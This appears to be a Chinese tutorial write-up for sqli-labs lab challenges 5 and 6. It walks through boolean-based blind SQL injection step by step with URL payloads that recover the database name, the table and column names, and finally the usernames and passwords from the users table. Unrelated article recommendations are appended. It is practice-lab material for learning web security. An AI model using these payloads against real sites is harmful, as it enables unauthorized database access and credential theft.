SQL注入sqli_labs靶场第五、六题

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+ 正常

如此就得到了

第一个字符的ASCII码为115解码出来为"s"

第二个字符的ASCII码为101解码出来为"e"

第二个字符的ASCII码为99解码出来为"c"

依次类推出数据库的名字为"security"

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+ 正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

相关推荐
介一安全2 小时前
【Frida Android】基础篇6:Java层Hook基础——创建类实例、方法重载、搜索运行时实例
android·java·网络安全·逆向·安全性测试·frida
xixixi777776 小时前
云计算平台的技术安全需求主要分为“端-管-云”三个部分
网络安全·云端·管道·终端安全·客户端安全
IT 小阿姨(数据库)7 小时前
PostgreSQL REST API 介绍
运维·数据库·sql·postgresql·centos
贝塔实验室7 小时前
QPSK信号载波同步技术---极性Costas 法载波同步
计算机网络·算法·网络安全·数学建模·信息与通信·信号处理·傅立叶分析
Suckerbin9 小时前
Monitoring: 1靶场渗透
笔记·安全·web安全·网络安全
豆沙沙包?11 小时前
2025年--Lc182--sql(排序和分组)--Java版
java·数据库·sql
white-persist11 小时前
JWT 漏洞全解析:从原理到实战
前端·网络·python·安全·web安全·网络安全·系统安全
孟意昶12 小时前
Doris专题17- 数据导入-文件格式
大数据·数据库·分布式·sql·doris
Thepatterraining13 小时前
MySQL零基础教程:DDL/DCL/DML详解,从建库到存储过程一篇搞定!
数据库·sql·mysql
unable code13 小时前
攻防世界-Web-unseping
网络安全·web·ctf